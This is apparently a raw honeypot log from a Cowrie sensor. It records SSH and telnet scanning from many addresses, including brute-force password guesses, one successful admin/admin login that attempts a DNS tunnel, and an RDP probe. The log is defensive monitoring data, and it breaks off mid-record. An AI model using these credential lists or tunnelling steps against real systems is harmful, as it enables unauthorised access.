{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:ad:ac:96:e5:cb:c7:26:b1:4a:7c:cc:19:51:cb:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpNL6c8oXZl8VSdkuTauQJVqeWTUdKmWURkn16bIENTDUd3sYzOZ9O4iAzznKSuw80jLhnZEOmyq4++pwc2q02xxbVRDiDkHnJ9iY6EknUDUF/GwbLQO5r1/EgXrRtypjX6R8oSDn6r4a1XzViYhiCqhTfdE4Z1XAH+hh3XABPjX29FBxQd2A/GRSbcdRxk6HG/BPGWSFWPQGrUeQDvwWZ8AfIboqG8OE14RwnO+wMuBJ0/DygB26NjYzgfRlUFd2nGv5z9FRAgige5aUcGoNPmPAyQP4vpWcAgjUK+Ae63z/8P7Gj4QUhwWenN3D3kuuZ0W45aMawNsEhGuDIynND","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.420906Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:7f:a5:3a:f1:eb:2c:e4:27:cd:f2:52:33:f5:e5:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5IAWtbmJvDKSVvpfzvzu0qmrbSOK4AZq7LnxHgOBnoDeRjuhuUX9dTC6DEuaAxwl5cVPx6RawTPh5y2hqcZBRSMueNXbJxLos4UgA3gErFS7Z4Yg7JgBIqEzEzJhFZ1oWJak0AjHE4nQoBCWvbYgQcDtD2VgRp/OL9a0wvNQ8UvIJFUbMfvJhbweHzINGkD0tD3RypecItAOE3SSWMlqhZIgpMwulbXtOUS7DCjDKZIQelrzgGtwh1qi5IrY138e2OwsbpLu53bt0gUKlckE4mn4xy+rIB9IsOHfL0M5nmxH8oSf5j2MCjpVk0lXr/WV3b4w/fFR7hvKgiytqmPvB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:7f:a5:3a:f1:eb:2c:e4:27:cd:f2:52:33:f5:e5:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.502186Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:7f:a5:3a:f1:eb:2c:e4:27:cd:f2:52:33:f5:e5:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5IAWtbmJvDKSVvpfzvzu0qmrbSOK4AZq7LnxHgOBnoDeRjuhuUX9dTC6DEuaAxwl5cVPx6RawTPh5y2hqcZBRSMueNXbJxLos4UgA3gErFS7Z4Yg7JgBIqEzEzJhFZ1oWJak0AjHE4nQoBCWvbYgQcDtD2VgRp/OL9a0wvNQ8UvIJFUbMfvJhbweHzINGkD0tD3RypecItAOE3SSWMlqhZIgpMwulbXtOUS7DCjDKZIQelrzgGtwh1qi5IrY138e2OwsbpLu53bt0gUKlckE4mn4xy+rIB9IsOHfL0M5nmxH8oSf5j2MCjpVk0lXr/WV3b4w/fFR7hvKgiytqmPvB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.505794Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:49:6e:b1:97:15:6f:df:c2:0c:fc:5d:48:80:32:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD273qsaRG4t6o5a5dARe41QDjPzemnAnFXJpYp8IUjjLnB6ja/prGKgzVyQ1krsjRglxombHWFqxctDS2INDniogayh40jVpcZGB9/kN7GT6dYErjI0Ja/bUrweT8AWPlBavIGJPveHzsqTnY2GK+M/LGoIlbUd+5hPlsnQRkks6BQha06WH8glXREtJ0lybhv9qWFhT1UIgfDUlfqTFvgjdQf0pz8JJu4A2yBlMBRyML2rQ6DXUiEk/tVnNzRiUWejZxH/Kf710pmwf8eJtV0Bt7r3haCbDFcI9bSiDJ6fXcO4nRNzbAFMBzSigSvaprom1j/LQHl5ez7+eYxmMnP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:49:6e:b1:97:15:6f:df:c2:0c:fc:5d:48:80:32:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.587425Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:49:6e:b1:97:15:6f:df:c2:0c:fc:5d:48:80:32:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD273qsaRG4t6o5a5dARe41QDjPzemnAnFXJpYp8IUjjLnB6ja/prGKgzVyQ1krsjRglxombHWFqxctDS2INDniogayh40jVpcZGB9/kN7GT6dYErjI0Ja/bUrweT8AWPlBavIGJPveHzsqTnY2GK+M/LGoIlbUd+5hPlsnQRkks6BQha06WH8glXREtJ0lybhv9qWFhT1UIgfDUlfqTFvgjdQf0pz8JJu4A2yBlMBRyML2rQ6DXUiEk/tVnNzRiUWejZxH/Kf710pmwf8eJtV0Bt7r3haCbDFcI9bSiDJ6fXcO4nRNzbAFMBzSigSvaprom1j/LQHl5ez7+eYxmMnP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.591156Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:4c:d6:96:5c:3e:32:05:f6:26:53:da:cf:d6:18:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEWM7mHE4fIDISMYG1vlPBRvFpeWTTfsw0Q3giR9Osqh","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint da:4c:d6:96:5c:3e:32:05:f6:26:53:da:cf:d6:18:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.672565Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:4c:d6:96:5c:3e:32:05:f6:26:53:da:cf:d6:18:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEWM7mHE4fIDISMYG1vlPBRvFpeWTTfsw0Q3giR9Osqh","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.676650Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:46:c4:55:88:01:5b:4f:f2:27:af:a3:58:f6:ab:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO+MDbCIM2NzZbwsF5XT1DWwkrMXHfj5PEqDroxcDvPTt4vIUnpfXfJdvATcgwqVw8kEGHxypU+TemCVaLcf8XoRr3kg7wrU1h86M3Le3FmYNi2G32BXZbT7MXYjDvLC2nvKgGwSqbWYFXxVkO/KUIbdxF35WYwRh/0eh3jdOzFZXmNq0tix44DIsh93x0DGw2hzuj62S3uoTp8ZYHpOLCaRBfQknrJuwdseZlr3n8FvEC+NQOQEVW+PHlp1yfawXPqTxu3lUzaATfU3cnAX1lWBdKq9Mbr5+WfjnS1XJkNH4Flg7SXyH4eIidrJeo1OWCTs9Is3x/oRmOU0GTxzOh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:46:c4:55:88:01:5b:4f:f2:27:af:a3:58:f6:ab:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.758087Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:46:c4:55:88:01:5b:4f:f2:27:af:a3:58:f6:ab:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO+MDbCIM2NzZbwsF5XT1DWwkrMXHfj5PEqDroxcDvPTt4vIUnpfXfJdvATcgwqVw8kEGHxypU+TemCVaLcf8XoRr3kg7wrU1h86M3Le3FmYNi2G32BXZbT7MXYjDvLC2nvKgGwSqbWYFXxVkO/KUIbdxF35WYwRh/0eh3jdOzFZXmNq0tix44DIsh93x0DGw2hzuj62S3uoTp8ZYHpOLCaRBfQknrJuwdseZlr3n8FvEC+NQOQEVW+PHlp1yfawXPqTxu3lUzaATfU3cnAX1lWBdKq9Mbr5+WfjnS1XJkNH4Flg7SXyH4eIidrJeo1OWCTs9Is3x/oRmOU0GTxzOh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.761971Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:48.846931Z","src_ip":"62.210.246.122","session":"1013c751e6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.33.158","src_port":50284,"dst_ip":"10.17.0.5","dst_port":23,"session":"9734321cd9d2","protocol":"telnet","message":"New connection: 101.126.33.158:50284 (10.17.0.5:23) [session: 9734321cd9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:49.681268Z"}
{"eventid":"cowrie.session.closed","duration":120.00415253639221,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:53.487213Z","src_ip":"152.42.224.71","session":"3895de592951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":46982,"dst_ip":"159.203.135.109","dst_port":22,"session":"69789770ee05","protocol":"ssh","message":"New connection: 109.172.54.111:46982 (159.203.135.109:22) [session: 69789770ee05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:55.864830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:55.869658Z","src_ip":"109.172.54.111","session":"69789770ee05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:55.992949Z","src_ip":"109.172.54.111","session":"69789770ee05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manager","message":"login attempt [root/manager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:56.370031Z","src_ip":"109.172.54.111","session":"69789770ee05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.54070138931274,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:57.286796Z","src_ip":"152.42.224.71","session":"562c02d63cd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:12:57.514335Z","src_ip":"109.172.54.111","session":"69789770ee05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60433,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd9aa947018","protocol":"ssh","message":"New connection: 152.42.212.128:60433 (159.203.135.109:22) [session: fcd9aa947018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:05.459717Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:05.464822Z","src_ip":"152.42.212.128","session":"fcd9aa947018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:05.472801Z","src_ip":"152.42.212.128","session":"fcd9aa947018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":54814,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc466e521bd7","protocol":"ssh","message":"New connection: 46.19.67.181:54814 (159.203.135.109:22) [session: dc466e521bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:06.758080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:06.762818Z","src_ip":"46.19.67.181","session":"dc466e521bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:06.878956Z","src_ip":"46.19.67.181","session":"dc466e521bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qw","message":"login attempt [root/123qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:07.225907Z","src_ip":"46.19.67.181","session":"dc466e521bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:08.344127Z","src_ip":"46.19.67.181","session":"dc466e521bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47380,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2418f98cb13","protocol":"telnet","message":"New connection: 152.42.224.71:47380 (10.17.0.5:23) [session: f2418f98cb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:19.450826Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27632,"dst_ip":"10.17.0.5","dst_port":22,"session":"e425f5a7b07a","protocol":"ssh","message":"New connection: 194.59.206.2:27632 (10.17.0.5:22) [session: e425f5a7b07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:23.769940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:23.774914Z","src_ip":"194.59.206.2","session":"e425f5a7b07a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:23.865703Z","src_ip":"194.59.206.2","session":"e425f5a7b07a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:23.964374Z","src_ip":"194.59.206.2","session":"e425f5a7b07a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.55128574371338,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:24.714793Z","src_ip":"152.42.224.71","session":"306ab5a6a82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8426,"dst_ip":"10.17.0.5","dst_port":22,"session":"4592daae313a","protocol":"ssh","message":"New connection: 87.251.64.176:8426 (10.17.0.5:22) [session: 4592daae313a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:29.423043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:29.427804Z","src_ip":"87.251.64.176","session":"4592daae313a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:29.524087Z","src_ip":"87.251.64.176","session":"4592daae313a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:29.812700Z","src_ip":"87.251.64.176","session":"4592daae313a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:29.911560Z","session":"4592daae313a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:30.011377Z","src_ip":"87.251.64.176","session":"4592daae313a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:30.112682Z","src_ip":"87.251.64.176","session":"4592daae313a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":51608,"dst_ip":"10.17.0.5","dst_port":22,"session":"70508607705c","protocol":"ssh","message":"New connection: 87.251.79.125:51608 (10.17.0.5:22) [session: 70508607705c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:31.305207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:13:31.313722Z","src_ip":"87.251.79.125","session":"70508607705c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v